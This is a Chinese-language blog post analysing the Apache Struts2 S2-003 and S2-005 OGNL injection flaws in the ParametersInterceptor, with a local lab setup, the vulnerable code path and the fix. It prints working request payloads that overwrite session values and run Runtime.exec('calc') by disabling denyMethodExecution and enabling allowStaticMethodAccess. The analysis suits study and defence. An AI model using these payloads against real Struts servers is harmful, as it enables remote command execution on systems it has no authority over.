Struts2 系列漏洞 - S2-003、S2-005

一、前言

前面一篇文章也有提到 struts2 在进入 action 进行逻辑处理前(以及逻辑处理后),会进入 18 个拦截器栈中对请求进行必要的处理(如果没有自定义拦截器的话,可以在 struts-default.xml 中找到相应的拦截器栈,如下下图【这里只有 17 个拦截器 233 】)。下图为 struts2 在处理请求时走过的流程。 

image.png

image.png

其中 params 拦截器也即是 com.opensymphony.xwork2.interceptor.ParametersInterceptor ,他负责获取到提交的参数值,并将请求传输的参数赋值到对应的栈中。 

image.png

# 二、漏洞概述

S2-003 漏洞就出现在 com.opensymphony.xwork2.interceptor.ParametersInterceptor 拦截器处理时, doIntercept 方法对提交的参数对值栈中的数据进行赋值,同时进行解析,此时过滤不严导致可以通过 ognl 表达式操作值栈中 map/context 栈 的对象来执行方法,进而导致命令执行。

首先我们可以先看看 ognl 取出 context/map 栈中的对象的属性的语法:

● #object.propertyName

● #object['propertyName']

● #object["propertyName"]

ognl 取出 root 栈中对象的属性的语法为(从栈顶往下找同名的属性值):

● propertyName

● ['propertyName']

● ["propertyName"]

如果在 root 栈中想找具体第几个对象的属性:

● [索引].propertyName

● [索引].["propertyName"]

● [索引].['propertyName']

● 举个栗子:[0].username 找自栈顶起第一个对象的 username 属性。

通过 ognl 表达式来调用对象的属性 / 方法:

● 获取静态属性值:@全类名@静态属性名

● 调用静态方法:@全类名@静态方法(参数列表)

● 调用栈顶对象非静态方法:方法名(参数列表)

官方链接:

https://cwiki.apache.org/confluence/display/WW/S2-00

影响版本:

Struts 2.0.0 - Struts 2.1.8.1

# 三、漏洞复现

环境:

apache-tomcat-9.0.37 、 jdk1.8.0_261 、 struts 2.0.11

tomcat7 及以后的版本会严格按照 RFC 3986 规范进行访问解析,而 RFC 3986 规范定义了 Url 中只允许包含英文字母 a-zA-Z 、数字 0-9 、 -_.~ 4 个特殊字符以及所有保留字符( RFC 3986 中指定了以下字符为保留字符:! * ’ ( ) ; : @ & = + $ , / ? # [ ])

即 tomcat7 后的版本在 payload 中使用 [、]、(、) 需进行 url 编码。

因为漏洞影响版本 Struts 2.0.0 - Struts 2.1.8.1 ,所以其实可以沿用上个漏洞环境。甚至可以更简化,根据官方给的 payload :('\u0023'%20%2b%20'session'user'')(unused)=0wn3d。Action 返回到 index.jsp 回显 session.user 即可。想换个版本的话就把相应的 jar 包都替换掉。

LoginAction.java :( error 返回到 index.jsp ) 

image.png

index.jsp:(取出 session.user ) 

image.png

执行 payload :

官方给的没有执行成功,233 为什么,格式的问题吗?我没有弄明白。然后尝试自己改了一下,成功了。

payload :http://localhost:8080/login.action?%28%27\u0023session%5b%27user%27%5d%27%29%28unused%29=teesst

解码即为:('\u0023session['user']')(unused)=teesst

image.png

payload :http://localhost:8080/login.action?%28%27\u0023session%2euser%27%29%28unused%29=teesst

解码即为:('\u0023session.user')(unused)=teesst

image.png

测试发现去掉后面的 (unused) 也可。\u0023 为 # 号。他的格式问题我没弄明白,【网上说有两种格式,一种 (表达式)(常量)=value ,另一种 (表达式)(常量)(常量) 】。意思应该是明白的:取出 session 对象,将其的 user 赋值为 teesst 。

复杂一点的 payload :

('\u0023context['xwork.MethodAccessor.denyMethodExecution']\u003dfalse')(bla)(bla)&('\u0023myret\u003d@java.lang.Runtime@getRuntime().exec('calc')')(bla)(bla) 【这里没有 url 编码是因为我悄咪咪换了个低版本的 tomcat 】

payload 解读:首先将 denyMethodExecution 设置为 false ,然后执行计算器的命令。为什么最开始要将 denyMethodExecution 设置为 false ,可以看看分析。

image.png

# 四、分析

我们先根据官网给的 payload 来看,带参数 ('\u0023session['user']')(unused)=teesst 请求 login.action ,根据 struts.xml 中的配置,会路由到 LoginAction 的 login 方法。进入方法前先进拦截器,在 ParameterInterceptor 中获取参数,并将属性值存入 ValueStack 值栈中。

那我们从进入 com.opensymphony.xwork2.interceptor.ParametersInterceptor#doIntercept 方法开始看。 

image.png

在 88 行进行了参数赋值,我们跟进去。 

image.png

在 123 行中进入了 acceptableName(name) 进行判断。这里是个过滤条件。 

image.png

这里判断了 name 中是否包含了 =,#: 字符以及 pojo 字符串,正因如此 payload 中对 # 号进行了 Unicode 编码。接着前面的进入到 129 行的 setValue 方法中。 

image.png

跟进到 OgnlUtil#setValue 方法【这个调用链是不是有点熟悉,和 S2-001 的是不是差不多,只不是 S2-001 是 findValue 】 

image.png

继续跟进,在 compile 方法中对表达式进行了解码。(其实是跟进 parseExpression 方法更深的地方对 Unicode 编码进行了解码 ) 

image.png

进而将其转化为语法树,最终在 ognl.ASTEval#setValueBody 中对 map 栈中 session 域对象中的 user 赋值。 

image.png

我们赋值完参数进入 action 逻辑处理,返回 error ,对应页面 index.jsp ,取出 session 中的 user 显示: 

image.png

接下来我们来看复杂一点的 payload 执行计算器的命令:

('\u0023context['xwork.MethodAccessor.denyMethodExecution']\u003dfalse')(bla)(bla)&('\u0023myret\u003d@java.lang.Runtime@getRuntime().exec('calc')')(bla)(bla)

是不是其实也是一样的,但是由于设置不允许方法执行,故此时通过 context 将参数值 xwork.MethodAccessor.denyMethodExecution 设为 false 才能执行方法。

在高版本中,如 struts2.1.8.1 中增加了 excludeParams 加了以 struts 开头的参数不进行解析,以及匹配的模式 [[\p{Graph}\s]&&[^,#:=]]* (仅除了 ,#:= 之外的可见字符才会进行解析)。

image.png

且默认禁止了静态方法的执行: 

image.png

是不是仍然是治标不治本,我仍然可以通过 ognl 表达式将其参数打开。

看 payload :

/login.action?('\u0023_memberAccess['allowStaticMethodAccess']')(bla)=true&('\u0023context['xwork.MethodAccessor.denyMethodExecution']\u003dfalse')(bla)(bla)&('\u0023myret\u003d@java.lang.Runtime@getRuntime().exec('calc')')(bla)(bla)

这里需要注意的是我们通过 _memberAccess 可以获取到 SecurityMemberAccess 的实例,从而对其中的 allowStaticMethodAccess 进行赋值。 

image.png

image.png

image.png

# 五、修复

在 acceptableName 判断时完善了过滤正则。 

image.png

相关推荐

最近更新

  1. TCP协议是安全的吗?

    2024-06-12 07:50:07       18 阅读
  2. 阿里云服务器执行yum,一直下载docker-ce-stable失败

    2024-06-12 07:50:07       19 阅读
  3. 【Python教程】压缩PDF文件大小

    2024-06-12 07:50:07       19 阅读
  4. 通过文章id递归查询所有评论(xml)

    2024-06-12 07:50:07       20 阅读

热门阅读

  1. spring和mybatis中的连接池和缓存

    2024-06-12 07:50:07       5 阅读
  2. ubuntu 22.04 升级到24.04

    2024-06-12 07:50:07       6 阅读
  3. 爬取京东商品图片的Python实现方法

    2024-06-12 07:50:07       6 阅读
  4. Oracle 存储过程

    2024-06-12 07:50:07       6 阅读
  5. 嵌入式Linux中OpenSSH移植到ARM开发板

    2024-06-12 07:50:07       8 阅读
  6. Redis的数据淘汰策略和集群部署

    2024-06-12 07:50:07       8 阅读
  7. 基于python的PDF文件解析器汇总

    2024-06-12 07:50:07       9 阅读
  8. Web前端开发PDF:技术与挑战的深度剖析

    2024-06-12 07:50:07       10 阅读
  9. 深度学习-使用 Bash 脚本

    2024-06-12 07:50:07       7 阅读
  10. C++中的抽象工厂模式

    2024-06-12 07:50:07       7 阅读
  11. 关于Flutter doctor里两个警告的消除

    2024-06-12 07:50:07       9 阅读